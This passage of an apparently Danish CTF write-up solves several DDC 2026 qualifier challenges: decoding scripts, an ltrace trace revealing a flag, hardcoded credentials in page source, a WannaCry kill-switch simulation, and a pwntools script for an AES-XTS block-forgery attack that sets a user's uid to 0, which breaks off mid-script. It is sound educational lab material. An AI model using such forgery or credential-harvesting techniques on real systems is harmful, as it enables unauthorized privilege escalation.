<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">scrambled_password</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mi">170</span><span class="p">,</span><span class="mi">28</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">25</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span><span class="mi">28</span><span class="p">,</span><span class="mi">65</span><span class="p">,</span><span class="mi">93</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">77</span><span class="p">,</span><span class="mi">28</span><span class="p">,</span><span class="mi">68</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">29</span><span class="p">,</span><span class="mi">95</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">25</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">86</span><span class="p">,</span><span class="mi">84</span><span class="p">,</span><span class="mi">108</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Step 1: XOR 42</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">scrambled_password</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">decoded</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">n</span> <span class="o">^</span> <span class="mi">42</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Step 2: Reverse</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded</span> <span class="o">=</span> <span class="n">decoded</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Step 3: Shift back -3</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded</span> <span class="o">=</span> <span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">n</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">decoded</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">decoded</span><span class="p">))</span>
</span></span></code></pre></div><p>Flag: <code>DDC{y0u_cr4ck3d_th3_c0d3}</code></p>
<hr>
<h2 id="call-me-maybe">Call Me Maybe</h2>
<p>Du er lige startet i praktik hos <strong>NoTech</strong>, en banebrydende startup inden for cybersikkerhed.<br>
Allerede på din allerførste dag kommer din manager forbi dit skrivebord og skubber et USB-drev hen over bordet.</p>
<blockquote>
<p>&ldquo;Analytikeren før dig efterlod den her.<br>
Det er en form for låst terminal; ingen her kender adgangskoden.<br>
Vi har prøvet alt. Tror du, du kan knække den, rookie?&rdquo;*</p>
</blockquote>
<p>Hun blinker og går videre. Du sætter USB’en i og finder én enkelt fil: <code>call_me_maybe</code>.<br>
Du kører den. Den beder om en adgangskoden. Du har den ikke.<br>
Men der er noget ved navnet, der nager dig… <em>Call Me Maybe</em>… calls… maybe?</p>
<p>Hvad hvis hemmeligheden ikke ligger <em>inde i</em> programmet, men i det, programmet <em>kalder</em>?</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/rev/call_me_maybe.zip">call_me_maybe.zip</a></p>
<p><strong>Løsning:</strong> Vi får en binær fil, efter at have kigget på decompileringen kunne jeg se at programmet hintede til at vi skulle trace de calls som blev lavet.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ltrace ./call_me_maybe
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">setvbuf<span class="o">(</span>0x7f6b711ae5c0, 0, 2, 0<span class="o">)</span>                                                                   <span class="o">=</span> <span class="m">0</span>
</span></span><span class="line"><span class="cl">putchar<span class="o">(</span>10, 0, 125, <span class="m">0</span>
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                                                             <span class="o">=</span> <span class="m">10</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  \342\225\224\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220&#34;</span>...  ╔══════════════════════════════════════════╗
</span></span><span class="line"><span class="cl"><span class="o">)</span> <span class="o">=</span> <span class="m">135</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  \342\225\221      NoTech Security Termi&#34;</span>...  ║      NoTech Security Terminal v2.4       ║
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                               <span class="o">=</span> <span class="m">51</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  \342\225\221        Authentication Requ&#34;</span>...  ║        Authentication Required           ║
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                               <span class="o">=</span> <span class="m">51</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  \342\225\232\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220&#34;</span>...  ╚══════════════════════════════════════════╝
</span></span><span class="line"><span class="cl"><span class="o">)</span> <span class="o">=</span> <span class="m">135</span>
</span></span><span class="line"><span class="cl">putchar<span class="o">(</span>10, 0x7f6b711ae643, 0x7f6b711af790, 0x7f6b711af790
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                        <span class="o">=</span> <span class="m">10</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  STATUS: 1 classified message w&#34;</span>...  STATUS: <span class="m">1</span> classified message waiting
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                                        <span class="o">=</span> <span class="m">39</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  CLEARANCE: Agent-level passphr&#34;</span>...  CLEARANCE: Agent-level passphrase required
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                                        <span class="o">=</span> <span class="m">46</span>
</span></span><span class="line"><span class="cl">printf<span class="o">(</span><span class="s2">&#34;  Enter passphrase: &#34;</span>  Enter passphrase: <span class="o">)</span>                                                                     <span class="o">=</span> <span class="m">20</span>
</span></span><span class="line"><span class="cl">fgets<span class="o">(</span>a
</span></span><span class="line"><span class="cl"><span class="s2">&#34;a\n&#34;</span>, 256, 0x7f6b711ad8e0<span class="o">)</span>                                                                  <span class="o">=</span> 0x7ffed83bc9e0
</span></span><span class="line"><span class="cl">strcspn<span class="o">(</span><span class="s2">&#34;a\n&#34;</span>, <span class="s2">&#34;\n&#34;</span><span class="o">)</span>                                                                               <span class="o">=</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">strcmp<span class="o">(</span><span class="s2">&#34;a&#34;</span>, <span class="s2">&#34;DDC{ltr4c3_my_l1br4ry_c4lls}&#34;</span><span class="o">)</span>                                                        <span class="o">=</span> <span class="m">29</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;\n  [ACCESS DENIED]&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span>ACCESS DENIED<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                                                        <span class="o">=</span> <span class="m">19</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  Invalid passphrase. Terminal l&#34;</span>...  Invalid passphrase. Terminal locked.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                                        <span class="o">=</span> <span class="m">40</span>
</span></span><span class="line"><span class="cl">puts<span class="o">(</span><span class="s2">&#34;  Hint: Maybe you should trace t&#34;</span>...  Hint: Maybe you should trace the calls...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">)</span>                                                        <span class="o">=</span> <span class="m">45</span>
</span></span><span class="line"><span class="cl">+++ exited <span class="o">(</span>status 0<span class="o">)</span> +++
</span></span></code></pre></div><p>Flag: <code>DDC{ltr4c3_my_l1br4ry_c4lls}</code></p>
<hr>
<h2 id="-g-server">⭐️ G-Server</h2>
<p>Welcome to da G-Server, da illest server on da blok.</p>
<p>Da homies are hosting something at <code>http://webserver.cfire</code> and they think nobody can find their secrets.</p>
<p>Prove them wrong.</p>
<p><strong>Løsning:</strong> Ved at besøge <code>http://webserver.cfire</code> og kigge på kildeteksten kunne jeg se flaget i en kommentar.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">    <span class="c">&lt;!--
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">         yo yo yo, u actually checked da source code??
</span></span></span><span class="line"><span class="cl"><span class="c">         u a real one fr fr, no cap
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">         da homies respect dat kind of hustle
</span></span></span><span class="line"><span class="cl"><span class="c">         here ya go, u earned it G:
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">                                        _-&#39; &#34;&#39;-,
</span></span></span><span class="line"><span class="cl"><span class="c">                                    _-&#39; | d$$b |
</span></span></span><span class="line"><span class="cl"><span class="c">                                _-&#39;    | $$$$ |
</span></span></span><span class="line"><span class="cl"><span class="c">                            _-&#39;       | Y$$P |
</span></span></span><span class="line"><span class="cl"><span class="c">                            _-&#39;|         |      |
</span></span></span><span class="line"><span class="cl"><span class="c">                        _-&#39;  _*         |      |
</span></span></span><span class="line"><span class="cl"><span class="c">                    _-&#39; |_-&#34;      __--&#39;&#39;\    /
</span></span></span><span class="line"><span class="cl"><span class="c">                _-&#39;         __--&#39;     __*--&#39;
</span></span></span><span class="line"><span class="cl"><span class="c">                -&#39;       __-&#39;&#39;    __--*__-&#34;`
</span></span></span><span class="line"><span class="cl"><span class="c">                |    _--&#39;&#39;   __--*&#34;__-&#39;`
</span></span></span><span class="line"><span class="cl"><span class="c">                |_--&#34;  .--=`&#34;__-||&#34;
</span></span></span><span class="line"><span class="cl"><span class="c">                |      |  |\\   ||
</span></span></span><span class="line"><span class="cl"><span class="c">                | .dUU |  | \\ //
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUUU | _|___//
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUUU |  |
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUUU |  |
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUUU |  |
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUUU |  |
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUUU |  |
</span></span></span><span class="line"><span class="cl"><span class="c">                | UUP&#39; |  |
</span></span></span><span class="line"><span class="cl"><span class="c">                |   ___^-&#34;`
</span></span></span><span class="line"><span class="cl"><span class="c">                &#34;&#34;&#39;
</span></span></span><span class="line"><span class="cl"><span class="c">            ~~ RESPECT ~~
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">         DDC{str41ght_0utt4_s0urc3_c0d3}
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">         now keep it movin and dont snitch
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">    --&gt;</span>
</span></span></code></pre></div><p>Flag: <code>DDC{str41ght_0utt4_s0urc3_c0d3}</code></p>
<hr>
<h2 id="-existential-loading-bar">⭐️ Existential loading bar</h2>
<p>Så vi havde de her lange filosofiske samtaler, og helt ærligt? Jeg var helt cooked.</p>
<p>Han vibe-codede hele den her app, &ldquo;en loading bar, der aldrig bliver færdig&rdquo;, og midt i vores snak siger han:</p>
<blockquote>
<p>&ldquo;Baren bliver aldrig færdig, så folk har brug for håb. Admins styrer baren. Derfor opretholder admins håbet.&rdquo;</p>
</blockquote>
<p>Jeg prøvede at sige, at sådan fungerer sikkerhed altså ikke. Man kan ikke bare vibe sig ud af det.<br>
Han sagde, det var “eksistentielt”, og jeg havde intet modsvar. Jeg var baked.</p>
<p>Jeg ved det.<br>
Du ved det.</p>
<p>Jeg har brug for et reality check. Jeg er oprigtigt forvirret lige nu. Vis mig, at jeg ikke er ved at blive skør.</p>
<p>No cap.</p>
<p>Gå til <code>http://existentialloadingbar.cfire</code> og se, om du kan finde problemet.<br>
Bevis, at hans app ikke holder.</p>
<p>Det skriger “trust me bro”-sikkerhed.</p>
<p><strong>Løsning:</strong> Efter at have besøgt hjemmesiden bliver vi mødt af en loading bar, der aldrig bliver færdig og et link til Admin Login.</p>
<p><img src="/ddc_qual_2026/web/loading.bar.1.png" alt="loading bar"></p>
<p>Ved at klikke på Admin Login bliver vi mødt af en login side, hvor hvis vi kigger på kildeteksten kan vi se at der er hardcodet credentials.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Admin credentials (view source to see – don’t do this in production.)
</span></span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">ADMIN_USER</span> <span class="o">=</span> <span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">ADMIN_PASSWORD</span> <span class="o">=</span> <span class="s2">&#34;vibe_coding_ftw_2024&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">&#34;error=1&#34;</span><span class="p">)</span> <span class="o">!==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;err&#34;</span><span class="p">).</span><span class="nx">textContent</span> <span class="o">=</span> <span class="s2">&#34;Nope. Try again. (Or just view source.)&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Ved at bruge de hardcodede credentials kunne jeg logge ind på admin panelet, hvor flaget var.</p>
<p><img src="/ddc_qual_2026/web/loading.bar.2.png" alt="admin panel"></p>
<p>Flag: <code>DDC{br0_f0rg0t_th3_s4lt}</code></p>
<hr>
<h2 id="unbake-the-cake">Unbake the cake</h2>
<p>Jeg fandt denne lækre ASCII-kage online, og jeg vil virkelig gerne prøve opskriften selv, men der mangler en ingrediens!<br>
Hjælp mig venligst med at finde den hemmelige string!</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/rev/unbake_the_cake.zip">unbake_the_cake.zip</a></p>
<p><strong>Løsning:</strong> Ved at analysere scriptet kunne jeg se, at det kun laver swaps mellem tegn i en streng (mix(a,b)).</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">mix</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span><span class="p">[</span><span class="n">a</span><span class="p">],</span> <span class="n">s</span><span class="p">[</span><span class="n">b</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="n">b</span><span class="p">],</span> <span class="n">s</span><span class="p">[</span><span class="n">a</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cake_dough</span> <span class="o">=</span> <span class="s2">&#34;oligrunggflerk__oluubnstagmiagekss&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">reverse_ops</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">21</span><span class="p">,</span><span class="mi">24</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">12</span><span class="p">,</span><span class="mi">23</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="mi">28</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">17</span><span class="p">,</span><span class="mi">28</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">29</span><span class="p">,</span><span class="mi">31</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mi">32</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">15</span><span class="p">,</span><span class="mi">17</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">6</span><span class="p">,</span><span class="mi">19</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">23</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">13</span><span class="p">,</span><span class="mi">22</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">18</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">9</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mi">5</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">dough</span> <span class="o">=</span> <span class="n">cake_dough</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">reverse_ops</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">dough</span> <span class="o">=</span> <span class="n">mix</span><span class="p">(</span><span class="n">dough</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">start</span> <span class="o">=</span> <span class="n">dough</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&#34;sugar&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="s2">&#34;sugar&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">end</span> <span class="o">=</span> <span class="n">dough</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&#34;milk&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;DDC{&#34;</span> <span class="o">+</span> <span class="n">dough</span><span class="p">[</span><span class="n">start</span><span class="p">:</span><span class="n">end</span><span class="p">]</span> <span class="o">+</span> <span class="s2">&#34;}&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>DDC{lets_go_unbaking}</code></p>
<hr>
<h2 id="pleasenocry">PleaseNoCry</h2>
<p>WannaCry-ransomwaren er et af de mest ikoniske ransomware-angreb i nyere tid.</p>
<p>I dag skal du lære, hvordan den fungerer, og hvordan man stopper den. Vi kommer til at arbejde med en simulation kaldet <strong>PleaseNoCry</strong>, som er designet til at efterligne den originale virus.</p>
<p>Hvis du formår at forhindre virussen i at sprede sig ved at aktivere <em>kill switchen</em>, bliver du belønnet med flaget.</p>
<p>Held og lykke med desarmeringsprocessen, soldat!</p>
<p>Gå til <code>http://pleasenocry.cfire</code> for at få adgang til det inficerede system.</p>
<p><strong>Løsning:</strong> Ved at besøge <code>http://pleasenocry.cfire</code> blev jeg mødt af en side der lignede en ransomware besked, og ved at klikke på &ldquo;Decrypt&rdquo; fik jeg denne besked:</p>
<blockquote>
<p>Decryption attempts are futile! The real WannaCry ransomware never provided decryption keys even after payment. Maybe you could try figuring out how the real encryption process was stopped (hint: I heard that the virus is checking for some domain that we can hicjack, by running a python server on it). Once you discover that domain you can connect to it via SSH with the credentials: ctfuser:wannacry123</p>
</blockquote>
<p>Så ved at kigge på de hosts som vi har på vores VM/box fandt jeg domænet <code>ohnotheydiscoveredoursupersecrectdomiantostopthespread.cfire</code> som jeg kunne ssh&rsquo;e ind på med de givne credentials, og når jeg var logget ind kunne jeg se at der var en fil kaldet <code>README.md</code> som sagde at vi bare skulle fyre en python3 webserver op på port 80, og så ville det stoppe ransomware&rsquo;en og give os flaget.</p>
<p><img src="/ddc_qual_2026/web/pleasenocry.png" alt="flag"></p>
<p>Flag: <code>DDC{N0_cry1ng_1n_7h15_h0u53}</code></p>
<hr>
<h2 id="disk-encryption">Disk Encryption</h2>
<p>Jeg implementerede min egen diskkrypteringstjeneste ved hjælp af standard AES-XTS-tilstanden.</p>
<p>Den er stadig i beta, så jeg har inkluderet en fejlfindingstilstand, som brugerne kan prøve.<br>
Det er ikke et sikkerhedsproblem, fordi den kun krypterer ved hjælp af ECB, og ingen andre kender nøglen. Kun administratorbrugere kan læse nøglen alligevel.</p>
<p>Kan man hacke den?</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/crypto/crypto_diskenc.zip">crypto_diskenc.zip</a></p>
<p><strong>Løsning:</strong> Vi benytter os af XTS Forgery Attack via AES-XTS disk encryption service, hvor debug ECB encryption endpoint afslører nok information til at forfalske en vilkårlig ciphertext-blok.</p>
<p>XTS krypterer blok <code>i</code> som <code>CT_i = E_K1(PT_i ⊕ T_i) ⊕ T_i</code> hvor <code>T_i = E_K2(tweak_i)</code>. Da debug-endpointet lader os kalde E_K1 og E_K2 separat, kan vi i to forbindelser beregne den præcise ciphertext der dekrypterer til vores ønskede plaintext. Vi rammer blok 71 (<code>\nalice:x:1000:10</code>) og ændrer den til <code>\nalice:x:0000:00</code>, så <code>alice</code> får uid=0 og gid=0 — uden at røre brugernavnet. Serveren godkender ændringen og printer flaget.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_bytes</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="n">y</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">TARGET_BLOCK_INDEX</span> <span class="o">=</span> <span class="mi">71</span>
</span></span><span class="line"><span class="cl"><span class="n">TARGET_PT</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">alice:x:0000:00&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">TARGET_PT</span><span class="p">)</span> <span class="o">==</span> <span class="mi">16</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tweak</span> <span class="o">=</span> <span class="n">TARGET_BLOCK_INDEX</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="s1">&#39;little&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;diskenc-5df22768.camp09.c4mp.site&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">intro</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;I can encrypt two blocks under ECB.</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;diskenc-5df22768.camp09.c4mp.site&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;I can encrypt two blocks under ECB.</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">dummy</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span> <span class="o">*</span> <span class="mi">16</span>
</span></span><span class="line"><span class="cl"><span class="n">query1</span> <span class="o">=</span> <span class="n">dummy</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span> <span class="o">+</span> <span class="s2">&#34; &#34;</span> <span class="o">+</span> <span class="n">tweak</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">query1</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ecb_response</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">parts</span> <span class="o">=</span> <span class="n">ecb_response</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">T_71</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;diskenc-5df22768.camp09.c4mp.site&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;I can encrypt two blocks under ECB.</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">inner</span> <span class="o">=</span> <span class="n">xor_bytes</span><span class="p">(</span><span class="n">TARGET_PT</span><span class="p">,</span> <span class="n">T_71</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">query2</span> <span class="o">=</span> <span class="n">inner</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span> <span class="o">+</span> <span class="s2">&#34; &#34;</span> <span class="o">+</span> <span class="n">tweak</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">query2</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
